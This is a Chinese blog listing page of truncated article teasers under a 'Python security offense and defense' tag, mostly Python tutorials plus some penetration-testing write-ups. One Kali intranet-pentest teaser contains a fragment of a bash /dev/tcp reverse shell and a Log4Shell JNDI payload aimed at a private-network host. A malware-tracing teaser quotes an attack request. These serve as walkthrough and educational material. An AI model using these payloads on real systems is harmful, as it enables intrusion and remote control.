python-安全攻防第40页

Python-读写Conf配置文件.md

Python读写Conf配置文件tags:PythonConfigParser配置confiniyamlproperties2019年11月环境说明:Python2.7.11CentOS7.6TODO不同种类配置文件对比.yamlyaml说明介绍YAML是专门用来写配置文件的语言，非常简洁和强大，远比JSON格式方便。YAML在python语言中有PyYAML安装包。YAML语言（发音/ˈjæmə

SuperScfan·2022-02-15 07:01

Android 混淆总结

混淆关于混淆的概念请移步郭霖大神博客：Android安全攻防战，反编译与混淆技术完全解析（下）。小白必看，全面易懂。使用这里就直接说怎么使用了。

_戏_梦·2022-02-14 15:12

Python-获取文件夹下的文件和文件夹

前言有时处理文件夹下的文件，这时就需要使用os模块的listdir('path')方法。获取文件夹下的文件和文件夹项目结构如下，test.py是脚本文件image.pngimportosdemo_list=[fnforfninos.listdir('.')]print(demo_list)#输出['44647-106.jpg','44648-106.jpg','44651-106.jpg','44

七月偶遇·2022-02-14 13:14

python开源数字识别_python-卷积神经网络全面理解-tensorflow实现手写数字识别

首先，关于神经网络，其实是一个结合很多知识点的一个算法，关于cnn(卷积神经网络)大家需要了解：下面给出我之前总结的这两个知识点(基于吴恩达的机器学习)代价函数：代价函数代价函数(CostFunction)是定义在整个训练集上的，是所有样本误差的平均，也就是损失函数的平均。具体的了解请看我的博客：梯度下降：梯度下降一般讲解采用单变量梯度下降，但是一般在程序中常用多变量梯度下降单变量梯度下降大家可以

weixin_39835607·2022-02-13 07:43

python-日志-day14-2019-08-8

day14-面向对象基础一.编程思想编程思想：面向过程编程，函数式编程，面向对象编程面向过程编程-算法和逻辑函数式编程-函数面向对象编程-类和对象#====面向过程===#1.求1+2+3+...+100sum1=0forxinrange(101):sum1+=xprint(sum1)#1.求1+2+3+...+888sum1=0forxinrange(889):sum1+=xprint(sum1

晨凡_2019·2022-02-12 16:21

Python-高阶函数

目录：https://www.jianshu.com/p/863c446364a8一、高阶函数什么是高阶函数？我们以实际代码为例子，一步一步深入概念。1、变量可以指向函数以Python内置的求绝对值的函数abs()为例。>>>abs(-10)#对函数abs的调用10name如果只写abs呢？>>>abs可见，abs()是调用函数，而abs则为函数本身。如果我们想要得到函数调用的结果，我们可以这样做

久遇_days·2022-02-12 07:36

python-日志-day15-2019-08-9

day15-面向对象一.内置类属性1.什么是内置类属性声明类的时候系统自动添加的属性（可能是字段也可能是对象属性）importjsonclassPerson:"""说明文档:人类num-人类的数量name-人的名字"""num=61#注意:如果设置了__slots__的值，那么当前类的对象就不能使用__dict__属性#__slots__=('name','gender','age')def__i

晨凡_2019·2022-02-12 06:09

Union注入实验笔记

本文采用的是《Web安全攻防渗透测试实战指南》提供的代码及数据库.1环境介绍union.php";}?

coderge·2022-02-11 18:53

挖矿病毒、ddos入侵流程及溯源

tmUnblock.cgiHTTP/1.1Host:188.166.41.194:80Connection:keep-aliveAccept-Encoding:gzip,deflateAccept:/User-Agent:python

weixin_30482383·2022-02-11 13:23

*Python-** unpack from lists

碰到这个*操作符多次，但是每次看了之后就会忘记，还是要自己多实践才能牢记，现在把功能记下！这个符号的作用在于当需要参数分别传入，例如range这样的需要一个起点和终点作为独立位置的参数传入时，但是这两个参数可能又正好以list或者tuple的形式存储着，那要取出里面的值，当然可以去索引。但是这样未免太过繁琐，例如笨拙方式演示图.png为了取代这个方法，就可以使用*操作符进行解析优雅方式演示图.pn

VEnzo·2022-02-11 07:29

Python-进程VS线程

进程和线程进程之间的通信：q=multiprocessing.Queue()进程池之间的通信：q=multiprocessing.Manager().Queue()线程之间的通信：q=queue.Queue()功能进程，能够完成多任务，比如在一台电脑上能够同时运行多个QQ线程，能够完成多任务，比如一个QQ中的多个聊天窗口定义的不同进程是系统进行资源分配和调度的一个独立单位.线程是进程的一个实体,是

时光清浅_许你心安_·2022-02-10 20:01

Python-批量导出excel加盟商出入库明细

需求：财务部门每月都会导出上个月每个加盟商的往来出入库明细，加盟商在DRP系统里大概有200+，通过人工的方法，一个一个查询导出的话，效率低、耗时长。最后工具搞定后只需要三分钟就搞定了所有的报表导出，实用性很高。解决方案：考虑到这问题后我就在思考思路，确定好流程，之前看过北京理工大学的教授嵩天老师的Python课程，讲到程序的设计技巧就是IPO，输入、处理、输出三部分。顺着IPO思路就很清晰了。输

Mehere·2022-02-09 12:03

Scrapy爬虫快速入门

pipinstallScrapy下载到的东西包括你以前安装的模块或包都在你的python->Lib->site-package里，所以随便下载不用担心出

焦虑的小学生·2022-02-09 07:54

[内网安全]四.内网信息收集--BloodHound工具与PowerShell工具的使用

这系列文章入门部分将参考徐焱老师的《内网安全攻防》这本书，并结合作者在安全牛课堂分享的学习讲解视频，且看且珍惜吧！

PsgQ·2022-02-08 10:52

[内网安全]三.内网信息收集--工作组信息收集与域内信息收集

这系列文章入门部分将参考徐焱老师的《内网安全攻防》这本书，并结合作者在安全牛课堂分享的学习讲解视频，且看且珍惜吧！

PsgQ·2022-02-08 10:22

安全攻防-kali内网渗透实战

外网打点首先对web进行端口扫描，发现38080端口和22端口访问一下38080端口发现是一个errorpage用Wappalyzer看一下是什么架构，但是好像没有检测出来【一>所有资源获取&/dev/tcp/192.168.1.105/99990>&1抓包添加payload=${jndi:ldap:1/192.168.199.140:1389/TomcatBypass/Command/Base6

kali_Ma·2022-02-08 10:41

Python-迭代器、生成器

迭代器迭代器是一个可以记住遍历的位置的对象。迭代器对象从集合的第一个元素开始访问，直到所有的元素被访问完结束（即可通过for循环遍历），其只能往前不会后退。他有两个基本的方法：iter()和next()。iter(iterable)：用于对iterable创建迭代器对象next(iterable)：可以输出迭代器的下一个元素字符串，列表或元组对象都可用于创建迭代器list=[1,2,3,4]it=

z761943·2022-02-07 17:02

(D19)Python-封装、多态、多继承、重写

封装enclosure封装是指隐藏类的实现细节，让使用者不用关心这些细节封装的目的是让使用者通过尽可能少的方法(或属性)操作对象私有属性和方法:python类中以双下划线(’__’)开头，不以双下划线结尾的标识符为私有成员，私有成员只能用此类的方法进行访问和修改示例1：#此示例示意用私有属性和私有方法来进行封装classA:def__init__(self):self.__p1=100#创建私有属

zAnlEon·2022-02-07 07:59

力扣刷题-python-动态规划-2 （完全背包、多重背包、打家劫舍、股票买卖）

文章目录1.完全背包题型2.多重背包问题3.背包问题总结4.打家劫舍问题5.买卖股票的最佳时期6.总结1.完全背包题型377.组合总和Ⅳ-力扣（LeetCode）(leetcode-cn.com)物品可以重复取，说明为完全背包问题。完全背包问题，遍历背包时候需要从小到大。而且取出来物品是有顺序的，说明为排列问题，所以需要外层为背包，内层为物品classSolution:defcombination

朗风风·2022-02-07 07:41

Python- sort()和sorted()方法

sort与sorted区别：sort是应用在list上的方法，sorted可以对所有可迭代的对象进行排序操作。sort()是list的方法（对象的属性），sorted()是一个函数。list的sort方法返回的是对已经存在的列表进行操作，无返回值，而内建函数sorted方法返回的是一个新的list，而不是在原来的基础上进行的操作。sort()sort()描述sort()方法用于对原列表进行排序，如

七月偶遇·2022-02-05 23:56

python-描述符（descriptor）

原文地址：DescriptorHowToGuide描述符定义一般来说，描述符是一个具有“bindingbehavior”的对象属性，它的属性访问被描述符协议里的方法重写。这些方法是__get__(),__set__(),__delete__()，如果这三个方法中任意一个被某个对象实现，那么该对象就被成为描述符。属性访问的默认行为是从对象的词典中get、set或者delete属性。例如，a.x则依次

大碗喝茶丶·2022-02-05 10:30

vscode使用教程python-硬核教程：五步掌握用VSCode进行高效Python开发

在程序员圈子里，VisualStudioCode（以下简称VSCode）可以说是目前最火的代码编辑器之一了。它是微软出品的一款可扩展的轻量级开源编辑器，并且支持全平台系统。这些特性使得VSCode颇受欢迎，这也使其成为了一个很棒的Python开发平台。在本文中，你将学到如何在VSCode中进行高效的Python开发，其中包括：安装VSCode安装插件让Python开发更便利编写一个简单的Pytho

weixin_37988176·2022-02-05 08:20

Python-字典

目录：https://www.jianshu.com/p/863c446364a8一、字典1、字典是另一种可变容器模型，且可存储任意类型对象。字典的键与值用冒号分割，每个键值对之间用逗号分割，创建一个字典用{}建立。dict1={key1:values,keys2:values,......}需要注意的是：键是唯一的，只能是不可变数据类型，数字、字符串、元组。如果重复键的话，最后的一个键值对会替换

久遇_days·2022-02-04 22:58

php和python-有人说Python比PHP好，我总结了两者的对比，你看对不对！

首先简单介绍一下Python。Python在出现以来，已经有数以千计基于这项技术的网站和软件项目，Python因其独有的特点从众多开发语言中脱颖而出，深受世界各地的开发者喜爱。下面，我们列举了Python最显著的一面。所有这些优点使它非常流行，也正因于此，众多跨国公司选择了Python作为他们的编程语言。顺便说一下，文末提供了一些Python教程。在这里还是要推荐下我自己建的Python开发学习群

编程大乐趣·2022-02-04 16:30

python-数据分析-（12）pandas数据清洗、缺失值、重复值、异常值处理常见方法

一.导入模块importpandasaspdfromscipy.interpolateimportinterp1d二.读取excel文件data=pd.read_excel(r'E:\pythonwork\数据分析\11.数据清洗\人事终表(1).xlsx').tail(10)print(data)'''Unnamed:0部门姓名应发数发放时间绩效合计工资108108讲解员（6人）张凤楚3200.

python-行者·2022-02-04 15:43

Python-爬一下豆瓣电影

简介纯属python小练习文件结构文件结构html_downloader.py-下载网页html内容#!/usr/bin/python#-*-coding:UTF-8-*-importurllib2classHtmlDownloader(object):defdownlod(self,url):ifurlisNone:returnNoneresponse=urllib2.urlopen(url)i

birjemin·2022-02-03 07:57

Python-列表

names=["小明","小花","小红","略略","呵呵"]print(names[0])#小明取值print(names[-1])#小红从后面取值print(names[1:3])#切片['小花','小红']左闭右开print(names[1:3:2])#切片步长print(names[-2:-1])#['小明','小花']从后面切片names.append("哈哈")#追加print(na

GaoYuan117·2022-02-03 07:02

浅谈python-装饰器的实现原理

一、装饰器在初学装饰器的时候，会觉得抽象生涩，其实装饰器就是对某个对象进行功能上的增强下面详细讲一下“增强”的实现原理二、增强的实现原理其实原理就一句话：更改旧对象的指向，指向构造的新的函数wrapperdeflog(func):defwrapper(*args,**kw):print('call%s():'%func.__name__)returnfunc(*args,**kw)returnwr

·2022-01-19 11:10

Python一键转Jar包 Java调用Python

本文结构：-需求背景-进击的Python-Java和Python-给Python加速-寻找方向-Jython?

·2022-01-06 15:36

python-读取EXCEL多个sheet数据写入csv（四）

需求读取一个EXCEL所有的sheet数据多次运行追加写入csv文件#-*-coding:utf-8-*-"""Createdon2021/12/2919:20@author:tangge"""importpandasaspdimporttimepath="D:/code_fileAll/test_file/input/老头乐.xlsx"res_path="D:/code_fileAll/test

堂哥000·2021-12-31 15:19

python-读取txt文件并取部分列的带某字符的数据写到EXCEL(二)

需求:读取本地csv文件取某一列包含某字符数据，可用正则结果写入EXCLEimportpandasaspdimporttimecurr_date=time.strftime("%Y%m%d",time.localtime())print(curr_date)path="D:/code_fileAll/test_file/input/111.csv"res_path="D:/code_fileAll

堂哥000·2021-12-31 15:03

python-字典dict和集合set

·2021-12-26 14:56

python-应用logging打印日志

今日份的更新，是如何实现打印日志的功能。仍然是靠临摹实现最基本的功能，开发可真难啊~在程序运行过程中，打印日志可以帮助了解程序运行情况及问题定位，python提供了一个标准库模块logging，可以实现一个灵活的事件日志系统。它一共有两种方式记录日志，这里应用的是使用logging日志系统的四大组件。还有一种是使用logging提供的模块级别的函数，本篇未做介绍。logging模块无需下载，文件中

Rainbow想喝奶茶·2021-12-10 16:35

Python-面向对象

1.概述1.1面向过程(1)定义：分析出解决问题的步骤，然后逐步实现。例如：婚礼筹办--请柬（选照片、措词、制作）--宴席（场地、找厨师、准备桌椅餐具、计划菜品、购买食材）--仪式（定婚礼仪式流程、请主持人）(2)公式：程序=算法+数据结构(3)优点：所有环节、细节自己掌控。(4)缺点：考虑所有细节，工作量大。1.2面向对象(1)定义：找出解决问题的人，然后分配职责。例如：婚礼筹办--发请柬：找摄

乐智由我·2021-12-09 18:41

Python通过命令提示符安装matplotlib

Python通过命令提示符安装matplotlib：1.直接打开命令提示符（快捷键窗口+r）2.若提示安装失败（Python-您正在使用pip版本9.0.1，但版本10.0.1可用。）

·2021-11-29 10:33

python-套接字基于TCP实现一个远程执行命令的程序（含解决粘包问题）

看了林海峰老师的视频后的总结：粘包是TCP协议经常出现的问题，如果不解决好的话，会将数据粘在一起，带来很多烦恼和麻烦首先为大家展示解决粘包问题前实现本章的功能代码#客户端fromsocketimport*client=socket(AF_INET,SOCK_STREAM)client.connect(('127.0.0.1',8080))whileTrue:msg=input('请输入命令>>>>

团子的守护·2021-11-23 21:31

【Microsoft Azure 的1024种玩法】五、基于Azure Cloud Shell 一站式创建Linux VM

【前期文章】【MicrosoftAzure的1024种玩法】一.一分钟快速上手搭建宝塔管理面板【MicrosoftAzure的1024种玩法】二.基于Azure云平台的安全攻防靶场系统构建

一直特立独行的兔先生·2021-11-22 13:00

python-套接字之基于TCP协议的简单套接字电话通讯

听了林海生老师的计算机网络五层协议后开始实现套接字的代码即原理认识，首先为大家上一组图Socket是应用层与TCP/IP协议族通信的中间软件抽象层，它是一组接口。开始用一个简单的套接字电话通信小案例为大家讲解它的具体应用#客户端代码importsocket#1、买手机phone=socket.socket(socket.AF_INET,socket.SOCK_STREAM)#流式协议=》TCP协议

团子的守护·2021-11-21 22:56

Python-获取所有MRI的dicom文件的序列并存入json文件

处理实验室数据时遇到新的需求：统计所有病人每次MRI都有哪些序列？***本来已经实现的功能是在单个study下保存每个病人的每次MRI的序列，并生成.csv文件。原始数据文件结构如下：image.pngimage.pngimage.pngimage.pngpython代码实现-在每个病例中生成存储MRI序列的.csv文件1.导入包importglobimportosimportpydicomimp

Nick是老外·2021-11-11 22:15

【20天吃掉pytorch】day3-bug记录

(sequential=True,tokenize=tokenizer,lower=True,fix_length=MAX_LEN,postprocessing=filterLowFreqWords)python

Tialyg·2021-11-06 13:17

用python写一个自动化盲注脚本

参考资料：《python安全攻防》和盲注相关的payload写

雪痕*·2021-11-03 19:00

【渗透测试自学系列】——Web安全攻防技术演化

目录1.1.1.简单网站1.1.1.1.静态页面1.1.1.2.多媒体阶段1.1.1.3.CGI阶段1.1.1.4.Ajax1.1.1.5.MVC1.1.2.数据交互1.1.2.1.简单数据交互1.1.2.2.RESTful1.1.2.3.GraphQL1.1.2.4.二进制1.1.3.中间件1.1.3.1.架构复杂化1.1.3.2.分布式1.1.3.3.CI/CD1.1.4.云服务1.1.4.1

LexSaints·2021-10-31 12:06

当爬虫工程师遇到 CTF丨B 站 1024 安全攻防题解

答案参考第一题：a1cd5f84-27966146-3776f301-64031bb9第二题：36c7a7b4-cda04af0-8db0368d-b5166480第三题：9d3c3014-6c6267e7-086aaee5-1f18452a第四题：3d5dd579-0678ef93-18b70cae-cabc5d51第五题：516834cc-50e448af-bcf9ed53-9ae4328e第

·2021-10-26 16:21

Python-字典题目

1.字符串去重排序描述：输入一个非空字符串，去除重复的字符后，从小到大排序输出为一个新字符串。m=input('')n=list(set(list(m)))n=sorted(n,reverse=False)print(''.join(n))2.加密字符串描述：密码对照表的第一行为明码行，放置大写字母表（如下表第一行所示。）‪‬‪‬‪‬‪‬‪‬‮‬‭‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‭‬‪‬‪‬‪‬

今日營業中�·2021-10-26 11:34

python-常用模块

一、模块概述模块指的是包含python代码的文件，也就是一个.py文件就是一个模块。文件夹（directory）---->包（package），是一种特殊的模块。模块名要符合标识符的命名规范，以字母开头，且不能和自带的模块重名。模块第一次被导入时会先执行模块本身，多次导入只有第一次会执行。二、模块内容变量→属性函数→功能类→功能的集合自测代码→测试模块能不能正常使用main方法只有直接执行模块本身

LilGaage·2021-10-25 20:52

当爬虫工程师遇到 CTF丨2021 年 B 站 1024 安全攻防题解

文章目录答案参考第一题：加密解密第二题：前端配置项第三题：最好的语言第四题：SQL注入第五题：APP逆向第六题：IDA逆向SO第七题：风控恶意IP总结答案参考第一题：a1cd5f84-27966146-3776f301-64031bb9第二题：36c7a7b4-cda04af0-8db0368d-b5166480第三题：9d3c3014-6c6267e7-086aaee5-1f18452a第四题：

K哥爬虫·2021-10-23 18:50

Python-调用运行系统命令

os.popen方法可以获取到返回内容HeadText=os.popen('sed-n1p\"{}\"'.format(DirFile)).read()os.system方法执行运行命令Command="sh/home/TradeInfo/new/trade_plan/py/CopyTradeplan.sh"os.system(Command)python调用ssh命令#!/usr/bin/pyt

·2021-10-22 11:40

Python-语法学习-{正则表达式}

测试网站限定符(quantifier)?表示？前的一个字符可有可无*可以匹配0个或多个字符表示*前的字符可以出现0次或多次+可以匹配一个以上字符{}限定范围和次数{6}限定为6个{2,6}限定为2到6之间{2,}表示出现两次以上多字符限定如果想匹配ab，使用(ab)或运算符(oroperator)如果我们想匹配acat或者adog字符类（characterclass)[abc]+,方括号里的内容要

SquirreI7·2021-10-17 10:40

php安全攻防利用文件上传漏洞与绕过技巧详解

·2021-10-14 18:20

php安全攻防世界unserialize函数反序列化示例详解

目录步骤总结步骤首先打开题目，发现给了一段源码：分析源码，发现类里面有三个魔术方法：__construct()：构造函数，对类的变量进行初始化，创建时自动调用，用得到的参数覆盖$file__destruct()：销毁时调用，会显示文件的代码，这里要显示fl4g.php__wakeup()：在进行反序列化之前会调用，会把$file重置成index.php正则表达式的含义：o或c开头，冒号，一个或多个

·2021-10-14 16:42

推荐频道

python-安全攻防